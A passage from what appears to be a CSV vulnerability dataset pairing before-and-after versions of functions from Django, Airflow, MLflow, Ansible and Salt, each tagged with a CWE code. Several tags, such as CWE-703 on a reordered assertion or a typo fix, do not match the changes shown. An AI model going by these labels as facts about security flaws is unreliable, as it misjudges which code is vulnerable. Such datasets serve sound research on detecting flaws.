        expect = {'SEVERITY': {'MEDIUM': 2},
                  'CONFIDENCE': {'HIGH': 2}}
        self.check_example('paramiko_injection.py', expect)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/utils/translation/trans_real.py,0,"def get_supported_language_variant(lang_code, supported=None):
    """"""
    Returns the language-code that's listed in supported languages, possibly
    selecting a more generic variant. Raises LookupError if nothing found.
    """"""
    if supported is None:
        from django.conf import settings
        supported = dict(settings.LANGUAGES)
    if lang_code:
        # e.g. if fr-CA is not supported, try fr-ca;
        #      if that fails, fallback to fr.
        variants = (lang_code, lang_code.lower(), lang_code.split('-')[0],
                    lang_code.lower().split('-')[0])
        for code in variants:
            if code in supported and check_for_language(code):
                return code
    raise LookupError(lang_code)",CWE-Unknown,django/django,92ebb29c5376c1811e8607e96bddc90d24e44e2a,"def get_supported_language_variant(lang_code, supported=None):
    """"""
    Returns the language-code that's listed in supported languages, possibly
    selecting a more generic variant. Raises LookupError if nothing found.
    """"""
    if supported is None:
        from django.conf import settings
        supported = dict(settings.LANGUAGES)
    if lang_code and lang_code not in supported:
        lang_code = lang_code.split('-')[0] # e.g. if fr-ca is not supported fallback to fr
    if lang_code and lang_code in supported and check_for_language(lang_code):
        return lang_code
    raise LookupError(lang_code)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/_model_registry/client.py,0,"def create_prompt(
        self,
        name: str,
        template: str,
        description: Optional[str] = None,
        tags: Optional[dict[str, str]] = None,
    ) -> Prompt:
        """"""
        Create a new prompt in the registry.

        Args:
            name: Name of the prompt.
            template: The prompt template text.
            description: Optional description of the prompt.
            tags: Optional dictionary of prompt tags.

        Returns:
            A :py:class:`mlflow.entities.model_registry.Prompt` object.
        """"""
        return self.store.create_prompt(name, template, description, tags)",,mlflow/mlflow,edc03b006e09af64e088951ecbd82412daec8987,"def create_prompt(
        self,
        name: str,
        template: str,
        description: Optional[str] = None,
        tags: Optional[dict[str, str]] = None
    ) -> Prompt:
        """"""
        Create a new prompt in the registry.

        Args:
            name: Name of the prompt.
            template: The prompt template text.
            description: Optional description of the prompt.
            tags: Optional dictionary of prompt tags.

        Returns:
            A :py:class:`mlflow.entities.model_registry.Prompt` object.
        """"""
        return self.store.create_prompt(name, template, description, tags)"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/models/test_cleartasks.py,1,"def test_operator_clear(self, dag_maker, session):
        with dag_maker(""test_operator_clear""):
            op1 = EmptyOperator(task_id=""test1"")
            op2 = EmptyOperator(task_id=""test2"", retries=1)
            op1 >> op2

        dr = dag_maker.create_dagrun(
            state=State.RUNNING,
            run_type=DagRunType.SCHEDULED,
        )

        def _get_ti(old_ti):
            return session.scalar(
                select(TI).where(
                    TI.dag_id == old_ti.dag_id,
                    TI.task_id == old_ti.task_id,
                    TI.map_index == old_ti.map_index,
                    TI.run_id == old_ti.run_id,
                )
            )

        ti1, ti2 = sorted(dr.get_task_instances(session=session), key=lambda ti: ti.task_id)
        ti1.task = op1
        ti2.task = op2
        ti2.refresh_from_db(session=session)
        ti2.try_number += 1
        session.commit()

        # Dependency not met
        assert ti2.try_number == 1
        assert ti2.max_tries == 1

        ti1.refresh_from_db(session=session)
        assert ti1.max_tries == 0
        assert ti1.try_number == 0

        op2.clear(upstream=True, session=session)
        ti1.refresh_from_db(session)
        ti2.refresh_from_db(session)
        ti1.task = op1
        ti2.task = op2
        # max tries will be set to retries + curr try number == 1 + 1 == 2
        assert ti2.max_tries == 2

        ti1.refresh_from_db(session)
        ti2.refresh_from_db(session)
        assert ti1.try_number == 0

        ti2 = _get_ti(ti2)
        ti2.try_number += 1
        ti2.refresh_from_task(op1)
        session.commit()
        ti2.run(ignore_ti_state=True, session=session)
        ti2.refresh_from_db(session)
        # max_tries is 0 because there is no task instance in db for ti1
        # so clear won't change the max_tries.
        assert ti1.max_tries == 0
        assert ti2.try_number == 2
        assert ti2.max_tries == 2",CWE-703,apache/airflow,986a2df2ed4a3a1aca87b961211e124114f2052d,"def test_operator_clear(self, dag_maker, session):
        with dag_maker(""test_operator_clear""):
            op1 = EmptyOperator(task_id=""test1"")
            op2 = EmptyOperator(task_id=""test2"", retries=1)
            op1 >> op2

        dr = dag_maker.create_dagrun(
            state=State.RUNNING,
            run_type=DagRunType.SCHEDULED,
        )

        def _get_ti(old_ti):
            return session.scalar(
                select(TI).where(
                    TI.dag_id == old_ti.dag_id,
                    TI.task_id == old_ti.task_id,
                    TI.map_index == old_ti.map_index,
                    TI.run_id == old_ti.run_id,
                )
            )

        ti1, ti2 = sorted(dr.get_task_instances(session=session), key=lambda ti: ti.task_id)
        ti1.task = op1
        ti2.task = op2

        session.get(TaskInstance, ti2.id).try_number += 1
        session.commit()
        ti2.run(session=session)
        # Dependency not met
        assert ti2.try_number == 1
        assert ti2.max_tries == 1

        op2.clear(upstream=True, session=session)
        ti1.refresh_from_db(session)
        ti2.refresh_from_db(session)
        ti1.task = op1
        ti2.task = op2
        # max tries will be set to retries + curr try number == 1 + 1 == 2
        assert ti2.max_tries == 2

        ti1.try_number += 1
        session.merge(ti1)
        session.commit()

        ti1.run(session=session)
        ti1.refresh_from_db(session)
        ti2.refresh_from_db(session)
        assert ti1.try_number == 1

        ti2 = _get_ti(ti2)
        ti2.try_number += 1
        ti2.refresh_from_task(op1)
        session.commit()
        ti2.run(ignore_ti_state=True, session=session)
        ti2.refresh_from_db(session)
        # max_tries is 0 because there is no task instance in db for ti1
        # so clear won't change the max_tries.
        assert ti1.max_tries == 0
        assert ti2.try_number == 2
        assert ti2.max_tries == 2"
,UNKNOWN,UNKNOWN,providers/tests/fab/auth_manager/api_endpoints/test_asset_endpoint.py,1,"def test_should_respond_404(self):
        dag_id = ""not_exists""
        asset_uri = ""not_exists""

        response = self.client.get(
            f""/api/v1/dags/{dag_id}/assets/queuedEvent/{asset_uri}"",
            environ_overrides={""REMOTE_USER"": ""test_queued_event""},
        )

        assert response.status_code == 404
        assert response.json == {
            ""detail"": ""Queue event with dag_id: `not_exists` and asset uri: `not_exists` was not found"",
            ""status"": 404,
            ""title"": ""Queue event not found"",
            ""type"": EXCEPTIONS_LINK_MAP[404],
        }",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_should_respond_404(self):
        dag_id = ""not_exists""
        asset_uri = ""not_exists""

        response = self.client.get(
            f""/api/v1/dags/{dag_id}/assets/queuedEvent/{asset_uri}"",
            environ_overrides={""REMOTE_USER"": ""test_queued_event""},
        )

        assert response.status_code == 404
        assert {
            ""detail"": ""Queue event with dag_id: `not_exists` and asset uri: `not_exists` was not found"",
            ""status"": 404,
            ""title"": ""Queue event not found"",
            ""type"": EXCEPTIONS_LINK_MAP[404],
        } == response.json"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/sanity/yamllint/yamllinter.py,0,"def check_assignment(statement, doc_types=None):
            """"""Check the given statement for a documentation assignment.""""""
            for target in statement.targets:
                if isinstance(target, ast.Tuple):
                    continue

                if doc_types and target.id not in doc_types:
                    continue

                docs[target.id] = dict(
                    yaml=statement.value.s,
                    lineno=statement.lineno,
                    end_lineno=statement.lineno + len(statement.value.s.splitlines())
                )",,ansible/ansible,0dade18f43cf5c015773d461ccff478f156179b5,"def check_assignment(statement, doc_types=None):
            """"""Check the given statement for a documentation assignment.""""""
            for target in statement.targets:
                if doc_types and target.id not in doc_types:
                    continue

                docs[target.id] = dict(
                    yaml=statement.value.s,
                    lineno=statement.lineno,
                    end_lineno=statement.lineno + len(statement.value.s.splitlines())
                )"
,UNKNOWN,UNKNOWN,salt/states/dockerng.py,1,"def _compare(actual, create_kwargs):
    '''
    Compare the desired configuration against the actual configuration returned
    by dockerng.inspect_container
    '''
    _get = lambda path: (
        salt.utils.traverse_dict(actual, path, NOTSET, delimiter=':')
    )
    ret = {}
    for item, data, in six.iteritems(create_kwargs):
        if item not in VALID_CREATE_OPTS:
            log.error(
                'Trying to compare \'{0}\', but it is not a valid '
                'parameter. Skipping.'.format(item)
            )
            continue
        log.trace('dockerng.running: comparing ' + item)
        conf_path = VALID_CREATE_OPTS[item]['path']
        if isinstance(conf_path, tuple):
            actual_data = [_get(x) for x in conf_path]
            for val in actual_data:
                if val is NOTSET:
                    _api_mismatch(item)
        else:
            actual_data = _get(conf_path)
            if actual_data is NOTSET:
                _api_mismatch(item)
        log.trace('dockerng.running ({0}): desired value: {1}'
                    .format(item, data))
        log.trace('dockerng.running ({0}): actual value: {1}'
                    .format(item, actual_data))

        if actual_data is None and data is not None \
                or actual_data is not None and data is None:
            ret.update({item: {'old': actual_data, 'new': data}})
            continue

        # 'create' comparison params
        if item == 'detach':
            # Something unique here. Two fields to check, if both are False
            # then detach is True
            actual_detach = all(x is False for x in actual_data)
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                        .format(item, actual_detach))
            if actual_detach != data:
                ret.update({item: {'old': actual_detach, 'new': data}})
            continue

        elif item == 'environment':
            actual_env = {}
            for env_var in actual_data:
                try:
                    key, val = env_var.split('=', 1)
                except (AttributeError, ValueError):
                    log.warning(
                        'Unexpected environment variable in inspect '
                        'output {0}'.format(env_var)
                    )
                    continue
                else:
                    actual_env[key] = val
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                        .format(item, actual_env))
            env_diff = {}
            for key in data:
                actual_val = actual_env.get(key)
                if data[key] != actual_val:
                    env_ptr = env_diff.setdefault(item, {})
                    env_ptr.setdefault('old', {})[key] = actual_val
                    env_ptr.setdefault('new', {})[key] = data[key]
            if env_diff:
                ret.update(env_diff)
            continue

        elif item == 'ports':
            # Munge the desired configuration instead of the actual
            # configuration here, because the desired configuration is a
            # list of ints or tuples, and that won't look as good in the
            # nested outputter as a simple comparison of lists of
            # port/protocol pairs (as found in the ""actual"" dict).
            actual_ports = sorted(actual_data)
            desired_ports = []
            for port_def in data:
                if isinstance(port_def, tuple):
                    desired_ports.append('{0}/{1}'.format(*port_def))
                else:
                    desired_ports.append('{0}/tcp'.format(port_def))
            desired_ports.sort()
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                        .format(item, actual_ports))
            log.trace('dockerng.running ({0}): munged desired value: {1}'
                        .format(item, desired_ports))
            if actual_ports != desired_ports:
                ret.update({item: {'old': actual_ports,
                                    'new': desired_ports}})
            continue

        elif item == 'binds':
            actual_binds = []
            for bind in actual_data:
                bind_parts = bind.split(':')
                if len(bind_parts) == 2:
                    actual_binds.append(bind + ':rw')
                else:
                    actual_binds.append(bind)
            desired_binds = []
            for host_path, bind_data in six.iteritems(data):
                desired_binds.append(
                    '{0}:{1}:{2}'.format(
                        host_path,
                        bind_data['bind'],
                        'ro' if bind_data['ro'] else 'rw'
                    )
                )
            actual_binds.sort()
            desired_binds.sort()
            if actual_binds != desired_binds:
                ret.update({item: {'old': actual_binds,
                                    'new': desired_binds}})
                continue

        elif item == 'port_bindings':
            actual_binds = []
            for container_port, bind_list in six.iteritems(actual_data):
                if container_port.endswith('/tcp'):
                    container_port = container_port[:-4]
                for bind_data in bind_list:
                    # Port range will have to be updated for future Docker
                    # versions (see
                    # https://github.com/docker/docker/issues/10220).  Note
                    # that Docker 1.5.0 (released a few weeks after the fix
                    # was merged) does not appear to have this fix in it,
                    # so we're probably looking at 1.6.0 for this fix.
                    if bind_data['HostPort'] == '' or \
                            49153 <= int(bind_data['HostPort']) <= 65535:
                        host_port = ''
                    else:
                        host_port = bind_data['HostPort']
                    if bind_data['HostIp'] in ('0.0.0.0', ''):
                        if host_port:
                            bind_def = (host_port, container_port)
                        else:
                            bind_def = (container_port,)
                    else:
                        bind_def = (bind_data['HostIp'],
                                    host_port,
                                    container_port)
                    actual_binds.append(':'.join(bind_def))

            desired_binds = []
            for container_port, bind_list in six.iteritems(data):
                try:
                    if container_port.endswith('/tcp'):
                        container_port = container_port[:-4]
                except AttributeError:
                    # The port's protocol was not specified, so it is
                    # assumed to be TCP. Thus, according to docker-py usage
                    # examples, the port was passed as an int. Convert it
                    # to a string here.
                    container_port = str(container_port)
                for bind_data in bind_list:
                    if isinstance(bind_data, tuple):
                        try:
                            host_ip, host_port = bind_data
                            host_port = str(host_port)
                        except ValueError:
                            host_ip = bind_data[0]
                            host_port = ''
                        bind_def = '{0}:{1}:{2}'.format(
                            host_ip, host_port, container_port
                        )
                    else:
                        if bind_data is not None:
                            bind_def = '{0}:{1}'.format(
                                bind_data, container_port
                            )
                        else:
                            bind_def = container_port
                    # The any address (0.0.0.0) is omitted from the
                    # actual_binds comparison key, so be sure to
                    # strip it from the desired_binds comparison
                    # key if it's included.
                    if bind_def.startswith('0.0.0.0:'):
                        bind_def = bind_def.replace('0.0.0.0:', '')
                    desired_binds.append(bind_def)
            actual_binds.sort()
            desired_binds.sort()
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                        .format(item, actual_binds))
            log.trace('dockerng.running ({0}): munged desired value: {1}'
                        .format(item, desired_binds))
            if actual_binds != desired_binds:
                ret.update({item: {'old': actual_binds,
                                    'new': desired_binds}})
                continue

        elif item == 'links':
            actual_links = []
            for link in actual_data:
                try:
                    link_name, alias_info = link.split(':')
                except ValueError:
                    log.error(
                        'Failed to compare link {0}, unrecognized format'
                        .format(link)
                    )
                    continue
                container_name, _, link_alias = alias_info.rpartition('/')
                if not container_name:
                    log.error(
                        'Failed to interpret link alias from {0}, '
                        'unrecognized format'.format(alias_info)
                    )
                    continue
                actual_links.append((link_name, link_alias))
            actual_links.sort()
            desired_links = sorted(data)
            if actual_links != desired_links:
                ret.update({item: {'old': actual_links,
                                    'new': desired_links}})
                continue

        elif item == 'extra_hosts':
            actual_hosts = sorted(actual_data)
            desired_hosts = sorted(
                ['{0}:{1}'.format(x, y) for x, y in six.iteritems(data)]
            )
            if actual_hosts != desired_hosts:
                ret.update({item: {'old': actual_hosts,
                                   'new': desired_hosts}})
                continue

        elif isinstance(data, list):
            # Compare two sorted lists of items. Won't work for ""command""
            # or ""entrypoint"" because those are both shell commands and the
            # original order matters. It will, however, work for ""volumes""
            # because even though ""volumes"" is a sub-dict nested within the
            # ""actual"" dict sorted(somedict) still just gives you a sorted
            # list of the dictionary's keys. And we don't care about the
            # value for ""volumes"", just its keys.
            actual_data = sorted(actual_data)
            desired_data = sorted(data)
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                        .format(item, actual_data))
            log.trace('dockerng.running ({0}): munged desired value: {1}'
                        .format(item, desired_data))
            if actual_data != desired_data:
                ret.update({item: {'old': actual_data,
                                    'new': desired_data}})
            continue

        else:
            # Generic comparison, works on strings, numeric types, and
            # booleans
            if actual_data != data:
                ret.update({item: {'old': actual_data, 'new': data}})
    return ret",CWE-605,saltstack/salt,47061e90d2afab432bffeb5a360ce69418e90437,"def _compare(actual, create_kwargs):
    '''
    Compare the desired configuration against the actual configuration returned
    by dockerng.inspect_container
    '''
    _get = lambda path: (
        salt.utils.traverse_dict(actual, path, NOTSET, delimiter=':')
    )
    ret = {}
    for item, data, in six.iteritems(create_kwargs):
        if item not in VALID_CREATE_OPTS:
            log.error(
                'Trying to compare \'{0}\', but it is not a valid '
                'parameter. Skipping.'.format(item)
            )
            continue
        log.trace('dockerng.running: comparing ' + item)
        conf_path = VALID_CREATE_OPTS[item]['path']
        if isinstance(conf_path, tuple):
            actual_data = [_get(x) for x in conf_path]
            for val in actual_data:
                if val is NOTSET:
                    _api_mismatch(item)
        else:
            actual_data = _get(conf_path)
            if actual_data is NOTSET:
                _api_mismatch(item)
        log.trace('dockerng.running ({0}): desired value: {1}'
                    .format(item, data))
        log.trace('dockerng.running ({0}): actual value: {1}'
                    .format(item, actual_data))

        if actual_data is None and data is not None \
                or actual_data is not None and data is None:
            ret.update({item: {'old': actual_data, 'new': data}})
            continue

        # 'create' comparison params
        if item == 'detach':
            # Something unique here. Two fields to check, if both are False
            # then detach is True
            actual_detach = all(x is False for x in actual_data)
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                        .format(item, actual_detach))
            if actual_detach != data:
                ret.update({item: {'old': actual_detach, 'new': data}})
            continue

        elif item == 'environment':
            actual_env = {}
            for env_var in actual_data:
                try:
                    key, val = env_var.split('=', 1)
                except (AttributeError, ValueError):
                    log.warning(
                        'Unexpected environment variable in inspect '
                        'output {0}'.format(env_var)
                    )
                    continue
                else:
                    actual_env[key] = val
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                        .format(item, actual_env))
            env_diff = {}
            for key in data:
                actual_val = actual_env.get(key)
                if data[key] != actual_val:
                    env_ptr = env_diff.setdefault(item, {})
                    env_ptr.setdefault('old', {})[key] = actual_val
                    env_ptr.setdefault('new', {})[key] = data[key]
            if env_diff:
                ret.update(env_diff)
            continue

        elif item == 'ports':
            # Munge the desired configuration instead of the actual
            # configuration here, because the desired configuration is a
            # list of ints or tuples, and that won't look as good in the
            # nested outputter as a simple comparison of lists of
            # port/protocol pairs (as found in the ""actual"" dict).
            actual_ports = sorted(actual_data)
            desired_ports = []
            for port_def in data:
                if isinstance(port_def, tuple):
                    desired_ports.append('{0}/{1}'.format(*port_def))
                else:
                    desired_ports.append('{0}/tcp'.format(port_def))
            desired_ports.sort()
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                        .format(item, actual_ports))
            log.trace('dockerng.running ({0}): munged desired value: {1}'
                        .format(item, desired_ports))
            if actual_ports != desired_ports:
                ret.update({item: {'old': actual_ports,
                                    'new': desired_ports}})
            continue

        elif item == 'binds':
            actual_binds = []
            for bind in actual_data:
                bind_parts = bind.split(':')
                if len(bind_parts) == 2:
                    actual_binds.append(bind + ':rw')
                else:
                    actual_binds.append(bind)
            desired_binds = []
            for host_path, bind_data in six.iteritems(data):
                desired_binds.append(
                    '{0}:{1}:{2}'.format(
                        host_path,
                        bind_data['bind'],
                        'ro' if bind_data['ro'] else 'rw'
                    )
                )
            actual_binds.sort()
            desired_binds.sort()
            if actual_binds != desired_binds:
                ret.update({item: {'old': actual_binds,
                                    'new': desired_binds}})
                continue

        elif item == 'port_bindings':
            actual_binds = []
            for container_port, bind_list in six.iteritems(actual_data):
                if container_port.endswith('/tcp'):
                    container_port = container_port[:-4]
                for bind_data in bind_list:
                    # Port range will have to be updated for future Docker
                    # versions (see
                    # https://github.com/docker/docker/issues/10220).  Note
                    # that Docker 1.5.0 (released a few weeks after the fix
                    # was merged) does not appear to have this fix in it,
                    # so we're probably looking at 1.6.0 for this fix.
                    if bind_data['HostPort'] == '' or \
                            49153 <= int(bind_data['HostPort']) <= 65535:
                        host_port = ''
                    else:
                        host_port = bind_data['HostPort']
                    if bind_data['HostIp'] in ('0.0.0.0', ''):
                        if host_port:
                            bind_def = (host_port, container_port)
                        else:
                            bind_def = (container_port,)
                    else:
                        bind_def = (bind_data['HostIp'],
                                    host_port,
                                    container_port)
                    actual_binds.append(':'.join(bind_def))
                    # The any address (0.0.0.0) is omitted from the
                    # actual_binds comparison key, so be sure to
                    # strip it from the desired_binds comparison
                    # key if it's included.
                    if bind_def.startswith('0.0.0.0:'):
                        bind_def = bind_def.replace('0.0.0.0:', '')

            desired_binds = []
            for container_port, bind_list in six.iteritems(data):
                try:
                    if container_port.endswith('/tcp'):
                        container_port = container_port[:-4]
                except AttributeError:
                    # The port's protocol was not specified, so it is
                    # assumed to be TCP. Thus, according to docker-py usage
                    # examples, the port was passed as an int. Convert it
                    # to a string here.
                    container_port = str(container_port)
                for bind_data in bind_list:
                    if isinstance(bind_data, tuple):
                        try:
                            host_ip, host_port = bind_data
                            host_port = str(host_port)
                        except ValueError:
                            host_ip = bind_data[0]
                            host_port = ''
                        bind_def = '{0}:{1}:{2}'.format(
                            host_ip, host_port, container_port
                        )
                    else:
                        if bind_data is not None:
                            bind_def = '{0}:{1}'.format(
                                bind_data, container_port
                            )
                        else:
                            bind_def = container_port
                    desired_binds.append(bind_def)
            actual_binds.sort()
            desired_binds.sort()
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                        .format(item, actual_binds))
            log.trace('dockerng.running ({0}): munged desired value: {1}'
                        .format(item, desired_binds))
            if actual_binds != desired_binds:
                ret.update({item: {'old': actual_binds,
                                    'new': desired_binds}})
                continue

        elif item == 'links':
            actual_links = []
            for link in actual_data:
                try:
                    link_name, alias_info = link.split(':')
                except ValueError:
                    log.error(
                        'Failed to compare link {0}, unrecognized format'
                        .format(link)
                    )
                    continue
                container_name, _, link_alias = alias_info.rpartition('/')
                if not container_name:
                    log.error(
                        'Failed to interpret link alias from {0}, '
                        'unrecognized format'.format(alias_info)
                    )
                    continue
                actual_links.append((link_name, link_alias))
            actual_links.sort()
            desired_links = sorted(data)
            if actual_links != desired_links:
                ret.update({item: {'old': actual_links,
                                    'new': desired_links}})
                continue

        elif item == 'extra_hosts':
            actual_hosts = sorted(actual_data)
            desired_hosts = sorted(
                ['{0}:{1}'.format(x, y) for x, y in six.iteritems(data)]
            )
            if actual_hosts != desired_hosts:
                ret.update({item: {'old': actual_hosts,
                                   'new': desired_hosts}})
                continue

        elif isinstance(data, list):
            # Compare two sorted lists of items. Won't work for ""command""
            # or ""entrypoint"" because those are both shell commands and the
            # original order matters. It will, however, work for ""volumes""
            # because even though ""volumes"" is a sub-dict nested within the
            # ""actual"" dict sorted(somedict) still just gives you a sorted
            # list of the dictionary's keys. And we don't care about the
            # value for ""volumes"", just its keys.
            actual_data = sorted(actual_data)
            desired_data = sorted(data)
            log.trace('dockerng.running ({0}): munged actual value: {1}'
                        .format(item, actual_data))
            log.trace('dockerng.running ({0}): munged desired value: {1}'
                        .format(item, desired_data))
            if actual_data != desired_data:
                ret.update({item: {'old': actual_data,
                                    'new': desired_data}})
            continue

        else:
            # Generic comparison, works on strings, numeric types, and
            # booleans
            if actual_data != data:
                ret.update({item: {'old': actual_data, 'new': data}})
    return ret"
,UNKNOWN,UNKNOWN,tests/modeltests/test_client/models.py,1,"def test_view_with_login(self):
        ""Request a page that is protected with @login_required""
        
        # Get the page without logging in. Should result in 302.
        response = self.client.get('/test_client/login_protected_view/')
        self.assertRedirects(response, 'http://testserver/accounts/login/?next=/test_client/login_protected_view/')
        
        # Log in
        login = self.client.login(username='testclient', password='password')
        self.failUnless(login, 'Could not log in')

        # Request a page that requires a login
        response = self.client.get('/test_client/login_protected_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')",CWE-259,django/django,ea3e89cb1d32f1fc6cafa656a4d6d9863f2fefc5,"def test_view_with_login(self):
        ""Request a page that is protected with @login_required""
        
        # Get the page without logging in. Should result in 302.
        response = self.client.get('/test_client/login_protected_view/')
        self.assertRedirects(response, 'http://testserver/accounts/login/?next=/test_client/login_protected_view/')
        
        # Log in
        login = self.client.login(username='testclient', password='password')
        self.assertTrue(login, 'Could not log in')

        # Request a page that requires a login
        response = self.client.get('/test_client/login_protected_view/')
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.context['user'].username, 'testclient')"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/auth/managers/simple/simple_auth_manager.py,0,"def is_authorized_configuration(
        self,
        *,
        method: ResourceMethod,
        user: SimpleAuthManagerUser,
        details: ConfigurationDetails | None = None,
    ) -> bool:
        return self._is_authorized(method=method, allow_role=SimpleAuthManagerRole.OP, user=user)",CWE-Unknown,apache/airflow,d024cdab190eb46eb0ce21679f44f08df5690cb9,"def is_authorized_configuration(
        self,
        *,
        method: ResourceMethod,
        details: ConfigurationDetails | None = None,
        user: SimpleAuthManagerUser | None = None,
    ) -> bool:
        return self._is_authorized(method=method, allow_role=SimpleAuthManagerRole.OP, user=user)"
,UNKNOWN,UNKNOWN,helm-tests/tests/helm_tests/other/test_pgbouncer.py,1,"def test_existing_secret_existing_key(self):
        docs = render_chart(
            ""test-pgbouncer-stats"",
            values={
                ""pgbouncer"": {
                    ""enabled"": True,
                    ""metricsExporterSidecar"": {
                        ""statsSecretName"": ""existing-stats-secret"",
                        ""statsSecretKey"": ""existing-stats-secret-key"",
                    },
                },
            },
            show_only=[""templates/pgbouncer/pgbouncer-deployment.yaml""],
        )

        assert jmespath.search(""spec.template.spec.containers[1].env[0].valueFrom.secretKeyRef"", docs[0]) == {
            ""name"": ""existing-stats-secret"",
            ""key"": ""existing-stats-secret-key"",
        }",CWE-703,apache/airflow,04a13b50624b95801521b867bbd5d06e24dbf401,"def test_existing_secret_existing_key(self):
        docs = render_chart(
            ""test-pgbouncer-stats"",
            values={
                ""pgbouncer"": {
                    ""enabled"": True,
                    ""metricsExporterSidecar"": {
                        ""statsSecretName"": ""existing-stats-secret"",
                        ""statsSecretKey"": ""exisiting-stats-secret-key"",
                    },
                },
            },
            show_only=[""templates/pgbouncer/pgbouncer-deployment.yaml""],
        )

        assert jmespath.search(""spec.template.spec.containers[1].env[0].valueFrom.secretKeyRef"", docs[0]) == {
            ""name"": ""existing-stats-secret"",
            ""key"": ""exisiting-stats-secret-key"",
        }"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/virtualenv_mod.py,0,"def create(path,
           venv_bin=None,
           system_site_packages=False,
           distribute=False,
           clear=False,
           python=None,
           extra_search_dir=None,
           never_download=None,
           prompt=None,
           pip=False,
           symlinks=None,
           upgrade=None,
           user=None,
           runas=None,
           saltenv='base'):
    '''
    Create a virtualenv

    path
        The path to create the virtualenv
    venv_bin : None (default 'virtualenv')
        The name (and optionally path) of the virtualenv command. This can also
        be set globally in the minion config file as ``virtualenv.venv_bin``.
    system_site_packages : False
        Passthrough argument given to virtualenv or pyvenv
    distribute : False
        Passthrough argument given to virtualenv
    pip : False
        Install pip after creating a virtual environment,
        implies distribute=True
    clear : False
        Passthrough argument given to virtualenv or pyvenv
    python : None (default)
        Passthrough argument given to virtualenv
    extra_search_dir : None (default)
        Passthrough argument given to virtualenv
    never_download : None (default)
        Passthrough argument given to virtualenv if True
    prompt : None (default)
        Passthrough argument given to virtualenv if not None
    symlinks : None
        Passthrough argument given to pyvenv if True
    upgrade : None
        Passthrough argument given to pyvenv if True
    user : None
        Set ownership for the virtualenv
    runas : None
        Set ownership for the virtualenv

    .. note::
        The ``runas`` argument is deprecated as of 2014.1.0. ``user`` should be
        used instead.

    CLI Example:

    .. code-block:: bash

        salt '*' virtualenv.create /path/to/new/virtualenv
    '''
    if venv_bin is None:
        venv_bin = __opts__.get('venv_bin') or __pillar__.get('venv_bin')
    # raise CommandNotFoundError if venv_bin is missing
    salt.utils.check_or_die(venv_bin)

    if runas is not None:
        # The user is using a deprecated argument, warn!
        salt.utils.warn_until(
            'Lithium',
            'The \'runas\' argument to pip.install is deprecated, and will be '
            'removed in Salt {version}. Please use \'user\' instead.'
        )

    # ""There can only be one""
    if runas is not None and user:
        raise salt.exceptions.CommandExecutionError(
            'The \'runas\' and \'user\' arguments are mutually exclusive. '
            'Please use \'user\' as \'runas\' is being deprecated.'
        )

    # Support deprecated 'runas' arg
    elif runas is not None and not user:
        user = str(runas)

    cmd = [venv_bin]

    if 'pyvenv' not in venv_bin:
        # ----- Stop the user if pyvenv only options are used --------------->
        # If any of the following values are not None, it means that the user
        # is actually passing a True or False value. Stop Him!
        if upgrade is not None:
            raise salt.exceptions.CommandExecutionError(
                'The `upgrade`(`--upgrade`) option is not supported '
                'by {0!r}'.format(venv_bin)
            )
        elif symlinks is not None:
            raise salt.exceptions.CommandExecutionError(
                'The `symlinks`(`--symlinks`) option is not supported '
                'by {0!r}'.format(venv_bin)
            )
        # <---- Stop the user if pyvenv only options are used ----------------

        # Virtualenv package
        try:
            import virtualenv
            version = getattr(virtualenv, '__version__',
                              virtualenv.virtualenv_version)
            virtualenv_version_info = tuple(
                [int(i) for i in version.split('rc')[0].split('.')]
            )
        except ImportError:
            # Unable to import?? Let's parse the version from the console
            version_cmd = '{0} --version'.format(venv_bin)
            ret = __salt__['cmd.run_all'](
                    version_cmd, runas=user, python_shell=False
                )
            if ret['retcode'] > 0 or not ret['stdout'].strip():
                raise salt.exceptions.CommandExecutionError(
                    'Unable to get the virtualenv version output using {0!r}. '
                    'Returned data: {1!r}'.format(version_cmd, ret)
                )
            virtualenv_version_info = tuple(
                [int(i) for i in
                 ret['stdout'].strip().split('rc')[0].split('.')]
            )

        if distribute:
            if virtualenv_version_info >= (1, 10):
                log.info(
                    'The virtualenv \'--distribute\' option has been '
                    'deprecated in virtualenv(>=1.10), as such, the '
                    '\'distribute\' option to `virtualenv.create()` has '
                    'also been deprecated and it\'s not necessary anymore.'
                )
            else:
                cmd.append('--distribute')

        if python is not None and python.strip() != '':
            if not salt.utils.which(python):
                raise salt.exceptions.CommandExecutionError(
                    'Cannot find requested python ({0}).'.format(python)
                )
            cmd.append('--python={0}'.format(python))
        if extra_search_dir is not None:
            if isinstance(extra_search_dir, string_types) and \
                    extra_search_dir.strip() != '':
                extra_search_dir = [
                    e.strip() for e in extra_search_dir.split(',')
                ]
            for entry in extra_search_dir:
                cmd.append('--extra-search-dir={0}'.format(entry))
        if never_download is True:
            if virtualenv_version_info >= (1, 10):
                log.info(
                    'The virtualenv \'--never-download\' option has been '
                    'deprecated in virtualenv(>=1.10), as such, the '
                    '\'never_download\' option to `virtualenv.create()` has '
                    'also been deprecated and it\'s not necessary anymore.'
                )
            else:
                cmd.append('--never-download')
        if prompt is not None and prompt.strip() != '':
            cmd.append('--prompt={0!r}'.format(prompt))
    else:
        # venv module from the Python >= 3.3 standard library

        # ----- Stop the user if virtualenv only options are being used ----->
        # If any of the following values are not None, it means that the user
        # is actually passing a True or False value. Stop Him!
        if python is not None and python.strip() != '':
            raise salt.exceptions.CommandExecutionError(
                'The `python`(`--python`) option is not supported '
                'by {0!r}'.format(venv_bin)
            )
        elif extra_search_dir is not None and extra_search_dir.strip() != '':
            raise salt.exceptions.CommandExecutionError(
